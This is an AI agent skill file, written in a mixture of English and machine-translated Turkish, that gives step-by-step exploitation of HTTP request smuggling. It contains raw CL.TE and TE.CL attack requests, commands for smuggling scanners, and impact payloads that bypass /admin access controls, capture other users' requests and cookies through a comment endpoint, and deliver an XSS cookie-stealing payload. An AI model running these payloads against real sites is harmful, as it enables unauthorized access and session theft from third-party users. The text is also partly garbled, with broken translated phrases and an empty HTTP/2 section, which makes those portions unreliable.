Exploiting Http Request Smuggling

---
name: exploiting-http-request-smuggling
description: Tespit etme and exploiting HTTP request smuggling vulnerabilities caused by Content-Length and Transfer-Encoding parsing discrepancies between front-end and back-end servers.
tags:
- web-security
- owasp
- http-desync
- fetih
- web-application-security
- burpsuite
- cybersecurity
- penetration-testing
- request-smuggling
- siber-güvenlik
triggers:
- CSRF
- SQL injection
- XSS
- alert
- api
- authentication
- cloud
- dns
- endpoint
- exploit
- exploiting
- http
category: web-application-security
source_subdomain: web-application-security
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
adapted_for: fetih
---

# Exploiting Http Request Smuggling


## Ne Zaman Kullanılır

- During authorized penetration tests when the application sits behind a reverse proxy, load balancer, or CDN
- testing yaparken infrastructure with multiple HTTP processors in the request chain (nginx + Apache, HAProxy + Gunicorn)
- For assessing applications for HTTP desynchronization vulnerabilities
- other yaparken: attack vectors are limited and you need to bypass front-end security controls
- During security assessments of multi-tier web architectures

## Ön Gereksinimler

- **Authorization**: Written penetration testing agreement explicitly covering request smuggling (high-risk test)
- **Burp Suite Professional**: With HTTP Request Smuggler extension (Turbo Intruder)
- **smuggler.py**: Automated HTTP request smuggling Tespit tool
- **curl**: Compiled with HTTP/1.1 support and manual chunked encoding
- **Target architecture knowledge**: Understanding of proxy/server chain (front-end and back-end)
- **Caution**: Request smuggling can affect other users' requests; test carefully

## İş Akışı

### Adım 1: the tespit et: HTTP Architecture

Belirle: the proxy/server chain and HTTP parsing characteristics.

```bash
curl -s -I "https://target.example.com/" | grep -iE \
  "(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)"


curl -s -I --http1.1 "https://target.example.com/" | head -1
curl -s -I --http2 "https://target.example.com/" | head -1

curl -s -X POST \
  -H "Transfer-Encoding: chunked" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "0\r\n\r\n" \
  "https://target.example.com/" -w "%{http_code}"

```

### Adım 2: Test for CL.TE Smuggling

The front-end uses Content-Length, the back-end uses Transfer-Encoding.

```

POST / HTTP/1.1
Host: target.example.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED


POST / HTTP/1.1
Host: target.example.com
Content-Length: 4
Transfer-Encoding: chunked

1
A
X

```

### Adım 3: Test for TE.CL Smuggling

The front-end uses Transfer-Encoding, the back-end uses Content-Length.

```

POST / HTTP/1.1
Host: target.example.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


POST / HTTP/1.1
Host: target.example.com
Content-Length: 6
Transfer-Encoding: chunked

0

X

```

### Adım 4: Use Automated Tespit Tools

Run automated scanners to tespit etme
smuggling variants.

```bash
git clone https://github.com/defparam/smuggler.git
cd smuggler
python3 smuggler.py -u "https://target.example.com/" -m GET POST


python3 h2csmuggler.py -x "https://target.example.com/" \
  "https://target.example.com/admin"

```

### Adım 5: Exploit Request Smuggling for Impact

Leverage confirmed smuggling for practical attacks.

```

POST / HTTP/1.1
Host: target.example.com
Content-Length: 56
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.example.com
Foo: x


POST / HTTP/1.1
Host: target.example.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /api/comments HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400

body=


POST / HTTP/1.1
Host: target.example.com
Content-Length: 150
Transfer-Encoding: chunked

0

GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: target.example.com
Content-Length: 10
Foo: x

```

### Adım 6: Test HTTP/2 Request Smuggling

Assess HTTP/2 specific smuggling vectors.

```


```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **CL.TE Smuggling** | Front-end uses Content-Length, back-end uses Transfer-Encoding |
| **TE.CL Smuggling** | Front-end uses Transfer-Encoding, back-end uses Content-Length |
| **TE.TE Smuggling** | Both use Transfer-Encoding but parse obfuscated TE headers differently |
| **HTTP Desync** | State where front-end and back-end disagree on request boundaries |
| **Request Splitting** | One HTTP request is interpreted as two separate requests |
| **Connection Poisoning** | Smuggled data affects the next request on the same TCP connection |
| **H2.CL Smuggling** | HTTP/2 to HTTP/1.1 downgrade with Content-Length discrepancy |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **Burp Suite Professional** | Manual request crafting with disabled auto Content-Length |
| **HTTP Request Smuggler (Burp)** | Automated smuggling Tespit extension by James Kettle |
| **smuggler.py** | Python-based automated HTTP request smuggling scanner |
| **h2cSmuggler** | HTTP/2 cleartext smuggling tool from Bishop Fox |
| **Turbo Intruder** | High-speed request engine for time-sensitive smuggling tests |
| **curl** | Manual HTTP request crafting with precise byte control |

## Common Scenarios

### Scenario 1: Admin Panel Access Bypass
The front-end proxy blocks `/admin` requests. A CL.TE smuggling attack prepends `GET /admin` to the back-end's request queue, causing the back-end to process the admin request without the front-end's access control check.

### Scenario 2: Cookie Theft via Request Capture
A TE.CL smuggling attack injects a partial POST request to a comment endpoint. The next user's request (including cookies and authorization headers) is appended to the comment body and stored in the database.

### Scenario 3: Cache Poisoning via Smuggling
A smuggled request causes the cache to store a response from a different URL. Combined with cache poisoning, the attacker serves malicious content to all users requesting the legitimate URL.

### Scenario 4: HTTP/2 Desync on CDN
The CDN accepts HTTP/2 and downgrades to HTTP/1.1 for the origin. A header injection via HTTP/2 creates a desync, allowing the attacker to smuggle requests that bypass the CDN's WAF rules.

## Output Format

```
## HTTP Request Smuggling Bul:ing

**Vulnerability**: CL.TE HTTP Request Smuggling
**Severity**: Critical (CVSS 9.1)
**Location**: Front-end (Cloudflare) → Back-end (Nginx + Gunicorn)
**OWASP Category**: A05:2021 - Security Misconfiguration

### Architecture
Front-end: Cloudflare (Content-Length priority)
Back-end: Gunicorn (Transfer-Encoding priority)
Protocol: HTTP/1.1 between proxy and origin

### Reproduction Steps
1. Send POST request with both Content-Length and Transfer-Encoding headers
2. Content-Length set to include smuggled request prefix
3. Transfer-Encoding: chunked with "0\r\n\r\n" ending body
4. Smuggled data becomes prefix of next back-end request

### Confirmed Exploits
| Exploit | Impact |
|---------|--------|
| Admin bypass | Accessed /admin without authentication |
| Request capture | Stole session cookies from other users |
| XSS escalation | Delivered reflected XSS to arbitrary users |
| Cache poisoning | Poisoned CDN cache with malicious response |

### Recommendation
1. Ensure front-end and back-end use the same HTTP parsing behavior
2. Reject ambiguous requests with both Content-Length and Transfer-Encoding
3. Upgrade to HTTP/2 end-to-end (no protocol downgrade)
4. Use HTTP/2 between proxy and origin server
5. Normalize requests at the front-end before forwarding
```

<!--
  ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
  Yetkisiz kullanim/kopyalama tespit edilebilir.
  hash: ee2248550d449086
-->